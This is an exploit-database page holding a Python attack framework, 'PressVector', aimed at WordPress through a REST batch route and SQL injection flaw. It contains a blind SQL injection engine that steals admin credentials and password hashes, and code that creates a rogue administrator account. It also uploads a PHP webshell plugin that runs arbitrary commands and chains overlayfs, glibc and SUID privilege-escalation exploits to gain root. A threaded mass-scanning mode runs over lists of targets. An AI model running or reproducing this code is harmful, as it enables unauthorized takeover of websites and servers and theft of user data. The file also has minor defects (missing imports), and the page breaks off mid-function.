Exploit databaseDownload repository ZIP
GH-13fa28cc9062a6e52a20e8c16cd90ac7
vulnquest58/pressvector
Sources for CVE-2026-63030
50 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
vulnquest58/pressvectorRevision 674ba0fb1121
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
pressvector.py
Python · 51,940 bytes#!/usr/bin/env python3
"""
PressVector - Advanced WordPress Vulnerability Exploitation Framework
CVE-2026-63030 (REST batch route confusion) / CVE-2026-60137 (SQLi)
Developer: Vulnquest
Version: 3.0.0-Exploit
Description: Complete exploitation framework for WordPress vulnerabilities
"""
import argparse
import base64
import concurrent.futures as cf
import hashlib
import html as html_mod
import http.cookiejar as cookiejar
import io
import json
import os
import random
import re
import secrets
import shlex
import ssl
import statistics
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
import zipfile
from typing import Dict, List, Optional, Tuple, Any
from urllib import request, error
__version__ = "3.0.0-Exploit"
__author__ = "Vulnquest"
# ============================================================================
# CONSTANTS & CONFIGURATION
# ============================================================================
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36",
]
TIMEOUT = 30
DEFAULT_DELAY = 2.0
MAX_THREADS = 20
CHUNK_SIZE = 2800
BANNER = r"""
██████╗ ██████╗ ███████╗███████╗███████╗██╗ ██╗██████╗ ███████╗██████╗
██╔══██╗██╔══██╗██╔════╝██╔════╝██╔════╝██║ ██║██╔══██╗██╔════╝██╔══██╗
██████╔╝██████╔╝█████╗ ███████╗███████╗██║ ██║██████╔╝█████╗ ██████╔╝
██╔═══╝ ██╔══██╗██╔══╝ ╚════██║╚════██║██║ ██║██╔══██╗██╔══╝ ██╔══██╗
██║ ██║ ██║███████╗███████║███████║╚██████╔╝██████╔╝███████╗██║ ██║
╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝
PressVector v3.0.0-Exploit | CVE-2026-63030 / CVE-2026-60137
Developer: Vulnquest | Advanced Exploitation Framework
"""
# ============================================================================
# CORE ENGINE
# ============================================================================
class SSLContext:
"""Secure SSL context with certificate verification disabled for testing."""
@staticmethod
def create():
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
return ctx
class HTTPClient:
"""Advanced HTTP client with session management and proxy support."""
def __init__(self, timeout: int = TIMEOUT, proxy: Optional[str] = None):
self.timeout = timeout
self.proxy = proxy
self.cookie_jar = cookiejar.CookieJar()
self.session = self._build_opener()
self.last_response = None
def _build_opener(self):
handlers = [
urllib.request.HTTPSHandler(context=SSLContext.create()),
urllib.request.HTTPCookieProcessor(self.cookie_jar),
urllib.request.HTTPRedirectHandler(),
]
if self.proxy:
handlers.append(urllib.request.ProxyHandler({
"http": self.proxy,
"https": self.proxy
}))
return urllib.request.build_opener(*handlers)
def request(self, url: str, method: str = "GET", data: Optional[bytes] = None,
headers: Optional[Dict] = None) -> Tuple[int, str, Dict]:
"""Make HTTP request with full response details."""
default_headers = {
"User-Agent": random.choice(USER_AGENTS),
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.9",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
}
if headers:
default_headers.update(headers)
if data and "Content-Type" not in default_headers:
default_headers["Content-Type"] = "application/json"
req = urllib.request.Request(url, method=method, data=data, headers=default_headers)
try:
with self.session.open(req, timeout=self.timeout) as resp:
self.last_response = resp
body = resp.read()
return resp.status, body.decode("utf-8", "replace"), dict(resp.headers)
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", "replace") if e.fp else ""
return e.code, body, {}
except Exception as e:
return 0, str(e), {}
def get(self, url: str, headers: Optional[Dict] = None) -> Tuple[int, str]:
status, body, _ = self.request(url, "GET", headers=headers)
return status, body
def post(self, url: str, data: Union[bytes, Dict, str] = None,
headers: Optional[Dict] = None) -> Tuple[int, str]:
if isinstance(data, dict):
data = json.dumps(data).encode()
elif isinstance(data, str):
data = data.encode()
return self.request(url, "POST", data, headers)[:2]
def upload_multipart(self, url: str, fields: Dict, files: Dict) -> Tuple[int, str]:
"""Upload multipart form data with files."""
boundary = f"----WebKitFormBoundary{secrets.token_hex(16)}"
body_parts = []
for key, value in fields.items():
body_parts.append(f'--{boundary}\r\n')
body_parts.append(f'Content-Disposition: form-data; name="{key}"\r\n\r\n')
body_parts.append(f'{value}\r\n')
for key, (filename, content) in files.items():
body_parts.append(f'--{boundary}\r\n')
body_parts.append(f'Content-Disposition: form-data; name="{key}"; filename="{filename}"\r\n')
body_parts.append('Content-Type: application/octet-stream\r\n\r\n')
body_parts.append(content)
body_parts.append('\r\n')
body_parts.append(f'--{boundary}--\r\n')
body = ''.join(str(p) if isinstance(p, str) else p for p in body_parts)
if isinstance(body, str):
body = body.encode()
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}"
}
return self.request(url, "POST", body, headers)[:2]
class BlindSQLIEngine:
"""Time-based blind SQL injection engine for WordPress."""
def __init__(self, base_url: str, prefix: str = "wp_", delay: float = 2.0,
timeout: int = TIMEOUT, repeats: int = 3):
self.base_url = base_url.rstrip("/")
self.prefix = prefix
self.delay = delay
self.timeout = timeout
self.repeats = repeats
self.cutoff = None
self.http = HTTPClient(timeout=timeout)
self.batch_endpoint = None
def _get_batch_endpoint(self) -> str:
"""Discover the working batch endpoint."""
if self.batch_endpoint:
return self.batch_endpoint
endpoints = [
f"{self.base_url}/?rest_route=/batch/v1",
f"{self.base_url}/wp-json/batch/v1"
]
for endpoint in endpoints:
try:
status, body = self.http.post(endpoint, b"{}")
if status in (200, 207):
self.batch_endpoint = endpoint
return endpoint
except:
continue
self.batch_endpoint = endpoints[0]
return self.batch_endpoint
def _build_payload(self, condition: str) -> Dict:
"""Build the nested batch payload for SQL injection."""
inject = f"SELECT IF(({condition}),SLEEP({self.delay}),0)"
query = urllib.parse.urlencode({"author_exclude": inject})
return {
"requests": [
{"method": "POST", "path": "http://:"},
{"method": "POST", "path": "/wp/v2/posts", "body": {
"requests": [
{"method": "GET", "path": "http://:"},
{"method": "GET", "path": f"/wp/v2/categories?{query}"},
{"method": "GET", "path": "/wp/v2/posts"},
]
}},
{"method": "POST", "path": "/batch/v1"},
]
}
def _measure_time(self, condition: str) -> float:
"""Measure response time for a given condition."""
payload = json.dumps(self._build_payload(condition))
endpoint = self._get_batch_endpoint()
start = time.perf_counter()
try:
status, _ = self.http.post(endpoint, payload)
return time.perf_counter() - start
except:
return time.perf_counter() - start
def probe(self, condition: str) -> float:
"""Probe with median over repeats."""
if self.repeats == 1:
return self._measure_time(condition)
return statistics.median([self._measure_time(condition) for _ in range(self.repeats)])
def calibrate(self, rounds: int = 3) -> Tuple[float, float]:
"""Calibrate the timing oracle."""
fast = statistics.median([self.probe("1=0") for _ in range(rounds)])
slow = statistics.median([self.probe("1=1") for _ in range(rounds)])
self.cutoff = (fast + slow) / 2
return fast, slow
def is_true(self, condition: str) -> bool:
"""Check if condition is true using time-based oracle."""
if self.cutoff is None:
self.calibrate()
return self.probe(condition) > self.cutoff
def extract_length(self, expression: str, max_len: int = 128) -> int:
"""Extract length of a SQL expression."""
low, high = 0, max_len
while low < high:
mid = (low + high + 1) // 2
if self.is_true(f"CHAR_LENGTH({expression}) >= {mid}"):
low = mid
else:
high = mid - 1
return low
def extract_string(self, expression: str, max_len: int = 128) -> str:
"""Extract string from SQL expression."""
expr = f"COALESCE(({expression}),0x00)"
length = self.extract_length(expr, max_len)
result = ""
for pos in range(1, length + 1):
lo, hi = 0, 255
while lo < hi:
mid = (lo + hi + 1) // 2
if self.is_true(f"ASCII(SUBSTRING({expr},{pos},1)) >= {mid}"):
lo = mid
else:
hi = mid - 1
result += chr(lo)
return result
def extract_integer(self, expression: str) -> int:
"""Extract integer from SQL expression."""
expr = f"COALESCE(({expression}),0)"
lo, hi = 0, 1
while self.is_true(f"{expr} >= {hi}"):
lo, hi = hi, hi * 2
while lo < hi:
mid = (lo + hi + 1) // 2
if self.is_true(f"{expr} >= {mid}"):
lo = mid
else:
hi = mid - 1
return lo
def get_database_info(self) -> Dict:
"""Extract database information."""
info = {
"version": self.extract_string("@@version", 64),
"database": self.extract_string("DATABASE()", 64),
"user": self.extract_string("CURRENT_USER()", 64),
}
return info
def get_admin_credentials(self) -> Optional[Tuple[str, str]]:
"""Extract admin username and password hash."""
query = f"SELECT CONCAT(user_login,':',user_pass) FROM {self.prefix}users WHERE ID=1"
result = self.extract_string(query, 128)
if ":" in result:
username, password_hash = result.split(":", 1)
return username, password_hash
return None
def get_site_options(self) -> Dict:
"""Extract site options."""
options = {}
for option in ["siteurl", "home", "admin_email"]:
query = f"SELECT option_value FROM {self.prefix}options WHERE option_name='{option}'"
value = self.extract_string(query, 128)
if value:
options[option] = value
return options
class PreAuthRCE:
"""Pre-authentication RCE exploitation engine."""
def __init__(self, base_url: str, timeout: int = TIMEOUT, proxy: Optional[str] = None):
self.base_url = base_url.rstrip("/")
self.timeout = timeout
self.http = HTTPClient(timeout=timeout, proxy=proxy)
self.batch_endpoint = None
self.table_prefix = None
self.admin_id = None
self._calibrated = False
self._baseline = 0.0
def _discover_batch_endpoint(self) -> str:
"""Discover working batch endpoint."""
if self.batch_endpoint:
return self.batch_endpoint
endpoints = [
f"{self.base_url}/?rest_route=/batch/v1",
f"{self.base_url}/wp-json/batch/v1"
]
for endpoint in endpoints:
try:
status, body = self.http.post(endpoint, b"{}")
if status in (200, 207):
self.batch_endpoint = endpoint
return endpoint
except:
continue
self.batch_endpoint = endpoints[0]
return self.batch_endpoint
def _build_payload(self, author_exclude: str) -> Dict:
"""Build the nested batch payload."""
return {
"requests": [
{"method": "POST", "path": "http://:"},
{"method": "GET", "path": f"/wp/v2/users?author_exclude={urllib.parse.quote(author_exclude, safe='')}"},
{"method": "GET", "path": "/wp/v2/posts"},
]
}
def _send_payload(self, payload: Dict) -> Tuple[int, float]:
"""Send payload and measure response time."""
endpoint = self._discover_batch_endpoint()
data = json.dumps(payload).encode()
start = time.perf_counter()
try:
status, _ = self.http.post(endpoint, data)
return status, time.perf_counter() - start
except:
return 0, time.perf_counter() - start
def _calibrate(self, rounds: int = 3) -> None:
"""Calibrate timing oracle."""
if self._calibrated:
return
self._baseline = statistics.median([
self._send_payload(self._build_payload("0"))[1]
for _ in range(rounds)
])
self._calibrated = True
def _sleep_payload(self, seconds: float) -> str:
"""Generate sleep payload."""
return f"0) OR (SELECT {seconds} FROM (SELECT SLEEP({seconds}))x)-- -"
def _oracle(self, condition: str, sleep_time: float = 2.0) -> bool:
"""Time-based oracle for SQL injection."""
payload = f"0) OR (SELECT IF(({condition}),SLEEP({sleep_time}),0))-- -"
_, elapsed = self._send_payload(self._build_payload(payload))
return elapsed > (self._baseline + sleep_time * 0.5)
def detect_vulnerability(self) -> Dict:
"""Detect if target is vulnerable."""
try:
self._calibrate()
fast = statistics.median([
self._send_payload(self._build_payload(self._sleep_payload(0)))[1]
for _ in range(3)
])
slow = statistics.median([
self._send_payload(self._build_payload(self._sleep_payload(self._baseline + 4)))[1]
for _ in range(3)
])
vulnerable = slow - fast >= 1.5
return {
"vulnerable": vulnerable,
"fast_response": fast,
"slow_response": slow,
"difference": slow - fast,
"confidence": "HIGH" if vulnerable else "LOW"
}
except Exception as e:
return {
"vulnerable": False,
"error": str(e)
}
def extract_table_prefix(self) -> str:
"""Extract WordPress table prefix."""
if self.table_prefix:
return self.table_prefix
self._calibrate()
# Use information_schema to find tables
query = """
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA=DATABASE()
AND RIGHT(TABLE_NAME,6)=0x5f706f737473
ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1
"""
result = self._extract_string(query, 64)
if result and result.endswith("posts"):
self.table_prefix = result[:-5]
return self.table_prefix
self.table_prefix = "wp_"
return self.table_prefix
def _extract_string(self, expression: str, max_len: int = 128) -> str:
"""Extract string using blind SQL injection."""
expr = f"COALESCE(({expression}),0x00)"
length = self._extract_length(expr, max_len)
result = ""
for pos in range(1, length + 1):
lo, hi = 0, 255
while lo < hi:
mid = (lo + hi + 1) // 2
if self._oracle(f"ASCII(SUBSTRING({expr},{pos},1)) >= {mid}"):
lo = mid
else:
hi = mid - 1
result += chr(lo)
return result
def _extract_length(self, expression: str, max_len: int = 128) -> int:
"""Extract length using blind SQL injection."""
lo, hi = 0, max_len
while lo < hi:
mid = (lo + hi + 1) // 2
if self._oracle(f"CHAR_LENGTH({expression}) >= {mid}"):
lo = mid
else:
hi = mid - 1
return lo
def _extract_integer(self, expression: str) -> int:
"""Extract integer using blind SQL injection."""
expr = f"COALESCE(({expression}),0)"
lo, hi = 0, 1
while self._oracle(f"{expr} >= {hi}"):
lo, hi = hi, hi * 2
while lo < hi:
mid = (lo + hi + 1) // 2
if self._oracle(f"{expr} >= {mid}"):
lo = mid
else:
hi = mid - 1
return lo
def locate_admin(self) -> int:
"""Find administrator user ID."""
if self.admin_id:
return self.admin_id
self._calibrate()
prefix = self.extract_table_prefix()
query = f"""
SELECT u.ID FROM `{prefix}users` u
JOIN `{prefix}usermeta` m ON m.user_id = u.ID
WHERE m.meta_key = '{prefix}capabilities'
AND m.meta_value LIKE '%administrator%'
ORDER BY u.ID LIMIT 1
"""
self.admin_id = self._extract_integer(query)
return self.admin_id
def _hex(self, value: str) -> str:
"""Convert string to hex literal."""
return f"0x{value.encode().hex()}"
def _forge_row(self, post_id: int, content: str, title: str, status: str,
name: str, parent: int, post_type: str) -> str:
"""Generate SQL row for UNION injection."""
return ",".join([
str(post_id), "1",
self._hex("2020-01-01 00:00:00"), self._hex("2020-01-01 00:00:00"),
self._hex(content), self._hex(title), "''",
self._hex(status), self._hex("closed"), self._hex("closed"), "''",
self._hex(name), "''", "''",
self._hex("2020-01-01 00:00:00"), self._hex("2020-01-01 00:00:00"), "''",
str(parent), "''", "0",
self._hex(post_type), "''", "0",
])
def _run_injection(self, rows: List[str], extra_requests: List[Dict] = None) -> None:
"""Run SQL injection to forge data."""
if extra_requests is None:
extra_requests = []
query = "1) AND 1=0 UNION ALL SELECT " + " UNION ALL SELECT ".join(rows) + " -- -"
payload = {
"requests": [
{"method": "GET", "path": "http://:"},
{"method": "GET", "path": f"/wp/v2/widgets?{urllib.parse.urlencode({'author_exclude': query, 'per_page': -1, 'orderby': 'none', 'context': 'view'})}"},
{"method": "GET", "path": "/wp/v2/posts"},
*extra_requests,
]
}
endpoint = self._discover_batch_endpoint()
data = json.dumps(payload).encode()
try:
status, body = self.http.post(endpoint, data)
if status not in (200, 207):
raise RuntimeError(f"Injection failed with status {status}")
except Exception as e:
raise RuntimeError(f"Injection failed: {e}")
def create_admin_user(self) -> Tuple[str, str]:
"""Create a new administrator user."""
self._calibrate()
prefix = self.extract_table_prefix()
admin_id = self.locate_admin()
# Generate credentials
token = secrets.token_hex(6)
username = f"pressvector_{token}"
password = f"Pv!{secrets.token_urlsafe(15)}"
email = f"{username}@vulnquest.local"
# Find a published post for oEmbed
status, body = self.http.get(f"{self.base_url}/?rest_route=/wp/v2/posts&per_page=1&_fields=link")
if status != 200:
raise RuntimeError("Could not find published post")
try:
posts = json.loads(body)
if not posts or not posts[0].get("link"):
raise RuntimeError("No published post found")
anchor = posts[0]["link"]
except:
raise RuntimeError("Could not parse post data")
# Setup oEmbed URLs
embed_urls = [
f"{anchor}#{secrets.token_hex(6)}{i}"
for i in range(3)
]
embed_attr = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'
seed_content = "".join(f'[embed width="500" height="750"]{url}[/embed]' for url in embed_urls)
# Seed oEmbed caches
self._run_injection([
self._forge_row(0, seed_content, "seed", "publish", "seed", 0, "post")
])
# Find cache IDs
cache_ids = []
for url in embed_urls:
key = hashlib.md5((url + embed_attr).encode()).hexdigest()
pid = self._extract_integer(
f"SELECT ID FROM `{prefix}posts` WHERE post_type='oembed_cache' AND post_name='{key}'"
)
if pid < 1:
raise RuntimeError("Failed to create oEmbed cache")
cache_ids.append(pid)
# Forge changeset and create admin
outer = 1800000000 + random.randint(0, 100000000)
nav_id, inner_id = outer + 1, outer + 2
changeset = json.dumps({
f"nav_menu_item[{nav_id}]": {
"value": {
"object_id": 0, "object": "", "menu_item_parent": 0,
"position": 0, "type": "custom", "title": "pressvector",
"url": "https://github.com/vulnquest/pressvector",
"target": "", "attr_title": "", "description": "proof",
"classes": "", "xfn": "", "status": "publish",
"nav_menu_term_id": 0, "_invalid": False,
},
"type": "nav_menu_item",
"user_id": admin_id,
}
}, separators=(",", ":"))
rows = [
self._forge_row(0, f'[embed width="500" height="750"]{embed_urls[1]}[/embed]', "trigger", "publish", "trigger", 0, "post"),
self._forge_row(cache_ids[0], changeset, "changeset", "future", str(uuid.uuid4()), outer, "customize_changeset"),
self._forge_row(outer, "outer", "outer", "draft", "outer", cache_ids[0], "post"),
self._forge_row(cache_ids[1], "", "cache", "publish", "cache", cache_ids[0], "post"),
self._forge_row(nav_id, "nav", "nav", "publish", "nav", cache_ids[2], "nav_menu_item"),
self._forge_row(cache_ids[2], "parse", "parse", "parse", "parse", inner_id, "request"),
self._forge_row(inner_id, "inner", "inner", "draft", "inner", cache_ids[2], "post"),
]
# Create admin user
new_admin = {
"username": username,
"email": email,
"password": password,
"roles": ["administrator"]
}
self._run_injection(rows, [
{"method": "POST", "path": "/wp/v2/users", "body": new_admin},
{"method": "POST", "path": "/wp/v2/users", "body": new_admin},
])
return username, password
def deploy_webshell(self, username: str, password: str) -> Tuple[str, callable, callable]:
"""Deploy a persistent webshell using admin credentials."""
# Login
login_data = {
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": f"{self.base_url}/wp-admin/",
"testcookie": "1",
}
# Get login page
self.http.get(f"{self.base_url}/wp-login.php")
# Post login
status, body = self.http.post(
f"{self.base_url}/wp-login.php",
urllib.parse.urlencode(login_data).encode(),
{"Content-Type": "application/x-www-form-urlencoded"}
)
if "wordpress_logged_in" not in str(self.http.cookie_jar):
raise RuntimeError("Login failed")
# Get upload nonce
status, body = self.http.get(f"{self.base_url}/wp-admin/plugin-install.php?tab=upload")
nonce_match = re.search(r'name="_wpnonce" value="([^"]+)"', body)
if not nonce_match:
raise RuntimeError("Could not find upload nonce")
nonce = nonce_match.group(1)
# Build webshell plugin
slug = f"pressvector_{secrets.token_hex(4)}"
route = secrets.token_hex(12)
marker = secrets.token_hex(12)
php_code = f'''<?php
/**
* Plugin Name: PressVector Shell
* Description: PressVector exploitation framework
* Version: 1.0.0
*/
add_action('rest_api_init', function() {{
register_rest_route('pressvector/v1', '/{route}', array(
'methods' => 'POST',
'permission_callback' => '__return_true',
'callback' => function($request) {{
$cmd = base64_decode($request->get_param('c'));
$clean = $request->get_param('clean');
if ($request->get_param('rm')) {{
require_once ABSPATH . 'wp-admin/includes/plugin.php';
deactivate_plugins(plugin_basename(__FILE__), true);
@unlink(__FILE__);
return new WP_REST_Response(array(
'marker' => '{marker}',
'status' => 'removed'
));
}}
if ($cmd) {{
ob_start();
system($cmd . ' 2>&1', $return_code);
$output = ob_get_clean();
return new WP_REST_Response(array(
'marker' => '{marker}',
'output' => $output,
'code' => $return_code
));
}}
return new WP_REST_Response(array('marker' => '{marker}', 'status' => 'ok'));
}}
));
}});
'''
# Create ZIP file
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr(f"{slug}/{slug}.php", php_code)
zip_data = zip_buffer.getvalue()
# Upload plugin
status, body = self.http.upload_multipart(
f"{self.base_url}/wp-admin/update.php?action=upload-plugin",
fields={
"_wpnonce": nonce,
"_wp_http_referer": "/wp-admin/plugin-install.php?tab=upload",
"install-plugin-submit": "Install Now",
},
files={
"pluginzip": (f"{slug}.zip", zip_data),
}
)
# Activate plugin
activate_match = re.search(r'href="([^"]*plugins\.php\?action=activate[^"]*)"', body)
if not activate_match:
raise RuntimeError("Could not find activation link")
activate_url = urllib.parse.urljoin(f"{self.base_url}/wp-admin/", html_mod.unescape(activate_match.group(1)))
self.http.get(activate_url)
# Build shell URL
shell_url = f"{self.base_url}/?rest_route=/pressvector/v1/{route}"
def execute_command(command: str) -> str:
"""Execute a command through the webshell."""
data = {"c": base64.b64encode(command.encode()).decode()}
status, body = self.http.post(shell_url, data)
if status != 200:
raise RuntimeError(f"Command execution failed: HTTP {status}")
try:
result = json.loads(body)
if result.get("marker") != marker:
raise RuntimeError("Invalid webshell response")
return result.get("output", "")
except:
return body
def cleanup() -> None:
"""Clean up the webshell."""
try:
data = {"rm": "1"}
self.http.post(shell_url, data)
except:
pass
return shell_url, execute_command, cleanup
class PrivilegeEscalation:
"""Local privilege escalation module."""
def __init__(self, run_command: callable):
self.run = run_command
self.platform = None
self.kernel = None
def _upload_and_execute(self, content: str, remote_path: str, executable: bool = True) -> None:
"""Upload and optionally execute a file."""
encoded = base64.b64encode(content.encode()).decode()
# Upload in chunks
for i in range(0, len(encoded), CHUNK_SIZE):
chunk = encoded[i:i + CHUNK_SIZE]
if i == 0:
self.run(f"echo '{chunk}' | base64 -d > {remote_path}")
else:
self.run(f"echo '{chunk}' | base64 -d >> {remote_path}")
if executable:
self.run(f"chmod +x {remote_path}")
def enumerate_system(self) -> Dict:
"""Enumerate system information."""
info = {}
info["kernel"] = self.run("uname -r").strip()
info["distribution"] = self.run("lsb_release -d 2>/dev/null | cut -d: -f2").strip()
info["glibc"] = self.run("ldd --version 2>/dev/null | head -1").strip()
info["user"] = self.run("whoami").strip()
info["id"] = self.run("id").strip()
info["gcc"] = self.run("which gcc 2>/dev/null").strip()
info["python"] = self.run("python3 --version 2>&1").strip()
info["userns"] = self.run("cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null").strip()
return info
def try_cve_2023_2640(self) -> bool:
"""Try CVE-2023-2640 / CVE-2023-32629 (GameOverlay overlayfs)."""
exploit = '''#!/bin/bash
TMP=$(mktemp -d /tmp/.gov_XXXXXX)
cd $TMP
mkdir -p l u w m
cp /usr/bin/bash l/bash 2>/dev/null || exit 99
unshare -rm sh -c "
cd $TMP
mount -t overlay overlay -o lowerdir=l,upperdir=u,workdir=w m 2>/dev/null
chmod +s m/bash 2>/dev/null
umount m 2>/dev/null
" 2>/dev/null
if [ -u u/bash ]; then
u/bash -p -c 'echo "[+] ROOT via CVE-2023-2640/32629"; id'
rm -rf $TMP
exit 0
fi
rm -rf $TMP
echo "[-] CVE-2023-2640/32629 failed"
exit 1
'''
self._upload_and_execute(exploit, "/tmp/.exploit_gov.sh")
output = self.run("bash /tmp/.exploit_gov.sh; rm -f /tmp/.exploit_gov.sh")
return "[+] ROOT" in output
def try_cve_2023_4911(self) -> bool:
"""Try CVE-2023-4911 (Looney Tunables glibc)."""
exploit = '''#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
const char *so_code =
"#define _GNU_SOURCE\\n"
"#include <stdio.h>\\n"
"#include <unistd.h>\\n"
"__attribute__((constructor)) void p(void){\\n"
" setresuid(0,0,0);\\n"
" puts(\\"[+] ROOT via CVE-2023-4911\\");\\n"
" system(\\"id\\");\\n"
" _exit(0);\\n"
"}\\n";
int main() {
char src[64], so[64], cmd[256];
int pid = getpid();
snprintf(src, sizeof(src), "/tmp/.ltu_%d.c", pid);
snprintf(so, sizeof(so), "/tmp/.ltu_%d.so", pid);
FILE *f = fopen(src, "w");
if (!f) return 1;
fputs(so_code, f);
fclose(f);
snprintf(cmd, sizeof(cmd), "gcc -fPIC -shared -nostartfiles -o %s %s", so, src);
if (system(cmd) != 0) return 1;
char tun[600];
memset(tun, 'A', sizeof(tun) - 1);
tun[0] = 'G';
tun[1] = 'L';
tun[2] = 'I';
tun[3] = 'B';
tun[4] = 'C';
tun[5] = '_';
tun[6] = 'T';
tun[7] = 'U';
tun[8] = 'N';
tun[9] = 'A';
tun[10] = 'B';
tun[11] = 'L';
tun[12] = 'E';
tun[13] = 'S';
tun[14] = '=';
char ldp[128];
snprintf(ldp, sizeof(ldp), "LD_PRELOAD=%s", so);
char *env[] = { tun, ldp, NULL };
char *args[] = { "/usr/bin/su", NULL };
execve("/usr/bin/su", args, env);
return 1;
}
'''
self._upload_and_execute(exploit, "/tmp/.exploit_ltu.c")
self.run("gcc -o /tmp/.exploit_ltu /tmp/.exploit_ltu.c 2>/dev/null")
output = self.run("/tmp/.exploit_ltu 2>&1; rm -f /tmp/.exploit_ltu*")
return "[+] ROOT" in output
def try_suid_gtfo(self) -> bool:
"""Try SUID GTFO binaries."""
suid_bins = self.run("find /usr /bin /sbin -xdev -perm -4000 -user root -type f 2>/dev/null | head -20").splitlines()
gtfo_methods = {
"/usr/bin/find": "find . -exec /bin/sh -p -c 'id; echo ROOT' \\; -quit 2>/dev/null",
"/usr/bin/python3": "python3 -c 'import os;os.setuid(0);os.system(\"id;echo ROOT\")' 2>/dev/null",
"/usr/bin/python": "python -c 'import os;os.setuid(0);os.system(\"id;echo ROOT\")' 2>/dev/null",
"/usr/bin/perl": "perl -e 'use POSIX;setuid(0);exec(\"id;echo ROOT\")' 2>/dev/null",
"/usr/bin/ruby": "ruby -e 'Process::Sys.setuid(0);exec(\"id;echo ROOT\")' 2>/dev/null",
"/usr/bin/awk": "awk 'BEGIN{system(\"id;echo ROOT\")}' 2>/dev/null",
"/usr/bin/env": "env /bin/sh -p -c 'id;echo ROOT' 2>/dev/null",
"/usr/bin/php": "php -r 'posix_setuid(0);system(\"id;echo ROOT\");' 2>/dev/null",
"/bin/bash": "bash -p -c 'id;echo ROOT' 2>/dev/null",
}
for bin in suid_bins:
if bin in gtfo_methods:
output = self.run(gtfo_methods[bin])
if "ROOT" in output:
return True
return False
def exploit(self) -> bool:
"""Attempt privilege escalation using all methods."""
print("[INF] Starting privilege escalation attempts")
info = self.enumerate_system()
print("[INF] System information:")
print(f" Kernel: {info.get('kernel', 'Unknown')}")
print(f" Distribution: {info.get('distribution', 'Unknown')}")
print(f" User: {info.get('user', 'Unknown')}")
# Try all exploits
exploits = [
("CVE-2023-2640/32629 (GameOverlay)", self.try_cve_2023_2640),
("CVE-2023-4911 (Looney Tunables)", self.try_cve_2023_4911),
("SUID GTFO Binaries", self.try_suid_gtfo),
]
for name, exploit_func in exploits:
print(f"[INF] Trying {name}...")
if exploit_func():
print(f"[SUC] Privilege escalation successful via {name}")
return True
print(f"[INF] {name} failed")
print("[ERR] All privilege escalation attempts failed")
return False
# ============================================================================
# COMMAND HANDLERS
# ============================================================================
def cmd_scan(args):
"""Scan for vulnerable WordPress installations."""
targets = []
if args.targets:
targets.extend(args.targets)
if args.file:
with open(args.file, 'r') as f:
targets.extend([line.strip() for line in f if line.strip() and not line.startswith('#')])
if not targets:
print("[ERR] No targets specified")
return 2
print(f"[INF] Scanning {len(targets)} targets")
results = []
with cf.ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = []
for target in targets:
future = executor.submit(scan_single_target, target, args)
futures.append(future)
for future in cf.as_completed(futures):
try:
result = future.result()
results.append(result)
print_result(result)
except Exception as e:
print(f"[ERR] Scan failed: {e}")
if args.json:
print(json.dumps(results, indent=2))
# Return vulnerable count
vulnerable = sum(1 for r in results if r.get('vulnerable', False))
print(f"\n[INF] Scan completed: {vulnerable} vulnerable targets found")
return 0 if vulnerable == 0 else 1
def scan_single_target(target, args):
"""Scan a single target."""
base = f"https://{target}" if "://" not in target else target
base = base.rstrip("/")
result = {
"target": target,
"url": base,
"vulnerable": False,
"version": None,
"batch_route": False,
"sql_injection": False,
"exploitable": False
}
# Detect WordPress
client = HTTPClient(timeout=args.timeout)
status, body = client.get(f"{base}/")
if status != 200:
result["error"] = f"HTTP {status}"
return result
# Check version
version_match = re.search(r'name="generator" content="WordPress ([^"]+)"', body)
if version_match:
result["version"] = version_match.group(1)
# Check batch route
status, body = client.post(f"{base}/?rest_route=/batch/v1", b"{}")
result["batch_route"] = status in (200, 207)
# Check SQL injection
if result["version"]:
engine = BlindSQLIEngine(base, delay=2.0, timeout=args.timeout)
try:
fast, slow = engine.calibrate(rounds=2)
result["sql_injection"] = (slow - fast) >= 1.0
result["time_diff"] = slow - fast
except:
pass
# Determine vulnerability
result["vulnerable"] = result["batch_route"] and result["sql_injection"]
return result
def print_result(result):
"""Print scan result in human-readable format."""
status = "VULNERABLE" if result.get("vulnerable", False) else "SAFE"
status_icon = "[!!]" if result.get("vulnerable", False) else "[+]"
details = []
if result.get("version"):
details.append(f"v{result['version']}")
if result.get("batch_route"):
details.append("batch_route=accessible")
if result.get("sql_injection"):
details.append(f"sql_injection=confirmed (diff: {result.get('time_diff', 0):.2f}s)")
detail_str = f" ({', '.join(details)})" if details else ""
print(f"{status_icon} {result['target']:<30} {status}{detail_str}")
def cmd_check(args):
"""Check for SQL injection vulnerability."""
print(f"[INF] Checking {args.target}")
engine = BlindSQLIEngine(args.target, delay=args.delay, timeout=args.timeout, repeats=args.repeats)
print("[INF] Calibrating timing oracle...")
fast, slow = engine.calibrate(rounds=5)
